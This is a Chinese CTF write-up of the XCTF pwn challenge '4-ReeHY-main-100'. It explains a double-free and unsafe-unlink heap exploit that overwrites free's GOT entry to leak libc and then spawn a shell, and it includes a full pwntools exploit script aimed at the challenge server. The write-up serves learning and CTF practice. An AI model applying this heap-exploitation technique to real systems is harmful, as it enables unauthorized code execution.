【PWN系列】XCTF-4-ReeHY-main-100 Writeup

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

参考网址:

https://www.cnblogs.com/xingzherufeng/p/9885860.html#commentform
https://blog.csdn.net/seaaseesa/article/details/102907138

分析

其实此题有两种解法,一个是整型溢出,一个是double free。因为暂时只搞懂了double free,先写double free的解法

在这里插入图片描述
运行程序大概可以看到有五个功能,增删改查然后加一个退出。
在这里插入图片描述
其实查询的功能还在完善。
在这里插入图片描述
看看创建功能。
在这里插入图片描述

在删除功能上,可以看到只判断输入的数字是否小于等于4,如果小于即直接free。可以造成double free。应该还有UAF。
在这里插入图片描述
剩下的不多说了

利用

def welcome():
    p.recvuntil('name: \n$')
    p.send('Vicl1fe')

def create(index,size,content):
    p.recvuntil('*********\n$')
    p.send('1')
    p.recvuntil('Input size\n')
    p.send(str(size))
    p.recvuntil('Input cun\n')
    p.send(str(index))
    p.recvuntil('Input content\n')
    p.send(content)
def delete(index):
    p.recvuntil('*********\n$')
    p.send('2')
    p.recvuntil('Chose one to dele\n')
    p.send(str(index))

def edit(index,content):
    p.recvuntil('*********\n$')
    p.send('3')
    p.recvuntil('to edit\n')
    p.send(str(index))
    p.recvuntil('the content\n')
    p.send(content)

代码中需要的几个地址,p_addr的地址现在可能看不出来,等把exp全部理解之后就知道为啥是这个地址了,佩服那些大神清晰的思路

p_addr = 0x602100
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

首先我们创建三个chunk。大小为0x100会分配到unsorted bin(双向链表)。

id size content
0 0x20 /bin/sh\x00
1 0x100 AAAAAAAA
2 0x100 BBBBBBBB
welcome()
# chunk0
create(0,0x20,"/bin/sh\x00")
# chunk1
create(2,0x100,"AAAAAAAA")
# chunk2
create(1,0x100,"BBBBBBBB")

free掉chunk1和chunk2后,此时chunk1和chunk2应该已经合并到一块了,个人认为已经合并到top chunk中了。

delete(2)
delete(1)

然后重新创建一个chunk3,大小为chunk1+chunk2。并且在内容中构造fake_chunk。

payload = ""
payload += p64(0)
payload += p64(0x101)
payload += p64(p_addr - 0x18)
payload += p64(p_addr - 0x10)
payload += "A"*(0x100-4*8)
payload += p64(0x100)
payload += p64(0x110)
create(2,0x210,payload)

创建之前,
在这里插入图片描述
创建之后
在这里插入图片描述

delete(1)即free(chunk2)。看上图,chunk2的头已经被改变了,chunk2的size为0x110。表示上一个chunk为空闲状态,即会发生合并,则首先要将chunk1从双向链表中取出,即进行unlink操作,程序不知道chunk1是否在链表中,直接对chunk1进行unlink操作。

delete(1)

unlink操作如下,P指的是要进行unlink操作的chunk,即chunk1。

P->fd->bk = P->bk.
P->bk->fd = P->fd.

那么对照上图。可以推出如下式子,记住这是赋值操作。p_addr的值是0x602100

0x6020e8(p_addr-0x18)->bk = 0x6020f0(p_addr - 0x10)
0x6020f0(p_addr-0x10)->fd = 0x6020e8(p_addr-0x18)

unlink之前如下图,图中的chunk0所表示的意思是chunk0->content。依次类推。
在这里插入图片描述

经过上面的修改后,存放chunk3->content指针被修改为0x6020e8
如下图,经过unlink后chunk3->content被修改为0x6020e8,那么此时我们修改chunk3->content即是修改0x6020e8所指向的值,可以发现指向的是图中右上角的地方,一切都是巧合吗?不,都是经过大佬精确的计算。
在这里插入图片描述

payload = ""
payload += p64(1)
payload += p64(free_got)
payload += p64(1)
payload += p64(puts_got)
payload += p64(1)
edit(2,payload)

然后我们编辑chunk3,即编辑0x6020e8。chunk3在数组中的索引为2,所以edit(2,payload)
编辑之后如下图,对照payload可以看出0x602018free_plt0x602020puts_plt
此时修改chunk1->content即修改free_plt,修改chunk3->content即修改puts_plt

在这里插入图片描述
说明我们已经写入成功,地址没问题
在这里插入图片描述

那我们现在修改chunk2->content。代码如下

# 修改free的got表为puts
edit(1,p64(puts_plt))

我们修改free的got表为puts_plt。那么下次执行free函数的时候其实执行的是puts函数

修改好后,我们删除chunk3。即free(chunk3->content),实际执行的是puts(puts_got)

delete(2)

此时会输出puts函数的真实地址。

输出之后,接收地址,然后算出system的真实地址,这里可以用LibcSercher寻找libc,题目给的libc好像有问题。我这里在本地运行用的是我本地的Libc。

puts_addr = u64(p.recv(6)+"\x00"*2)
success(hex(puts_addr))
system_addr = puts_addr - libc.sym['puts'] + libc.sym['system']

算出system地址之后
再次修改chunk2->content为system真实地址,此时执行free即执行system函数

edit(1,p64(system_addr))

修改好之后,删除chunk0->content。执行的是free(chunk0->content),实际执行的是system(chunk0->content)。此时chunk0->content的值为/bin/sh\x00。意味着我们已经拿到了shell

delete(0)

拿到shell后可以直接开启交互

p.interactive()

Exploit

需要注意的是,我这里用的是本地的Libc,因为我已经修改过程序要加载的glibc了,
在这里插入图片描述

我本地的libc版本比较高,有tcache,不方便调试,所以只能修改程序的加载的Libc,所以读者需要自己修改代码,用LibcSercher来获取libc基址,算出system真实地址。

#coding:utf-8
from pwn import *

# p = process("./4-ReeHY-main.glib2_23")
p = remote("220.249.52.133",39448)
elf = ELF("4-ReeHY-main.glib2_23")
libc = ELF("/usr/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
# libc = ELF("/usr/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
context.log_level = "debug"

def welcome():
    p.recvuntil('name: \n$')
    p.send('Vicl1fe')

def create(index,size,content):
    p.recvuntil('*********\n$')
    p.send('1')
    p.recvuntil('Input size\n')
    p.send(str(size))
    p.recvuntil('Input cun\n')
    p.send(str(index))
    p.recvuntil('Input content\n')
    p.send(content)
def delete(index):
    p.recvuntil('*********\n$')
    p.send('2')
    p.recvuntil('Chose one to dele\n')
    p.send(str(index))

def edit(index,content):
    p.recvuntil('*********\n$')
    p.send('3')
    p.recvuntil('to edit\n')
    p.send(str(index))
    p.recvuntil('the content\n')
    p.send(content)

p_addr = 0x602100
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

welcome()
# chunk0
create(0,0x20,"/bin/sh\x00")
# chunk1
create(2,0x100,"AAAAAAAA")
# chunk2
create(1,0x100,"BBBBBBBB")

delete(2)

delete(1)

payload = ""
payload += p64(0)
payload += p64(0x101)
payload += p64(p_addr - 0x18)
payload += p64(p_addr - 0x10)
payload += "A"*(0x100-4*8)
payload += p64(0x100)
payload += p64(0x110)
create(2,0x210,payload)

delete(1)

payload = ""
payload += p64(1)
payload += p64(free_got)
payload += p64(1)
payload += p64(puts_got)
payload += p64(1)
# gdb.attach(p)
edit(2,payload)

# 修改free的got表为puts
edit(1,p64(puts_plt))

delete(2)

puts_addr = u64(p.recv(6)+"\x00"*2)
success(hex(puts_addr))
system_addr = puts_addr - libc.sym['puts'] + libc.sym['system']

edit(1,p64(system_addr))

delete(0)

p.interactive()

欢迎一起学习交流,共同进步,欢迎加入信息安全小白群

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/109514415
今日推荐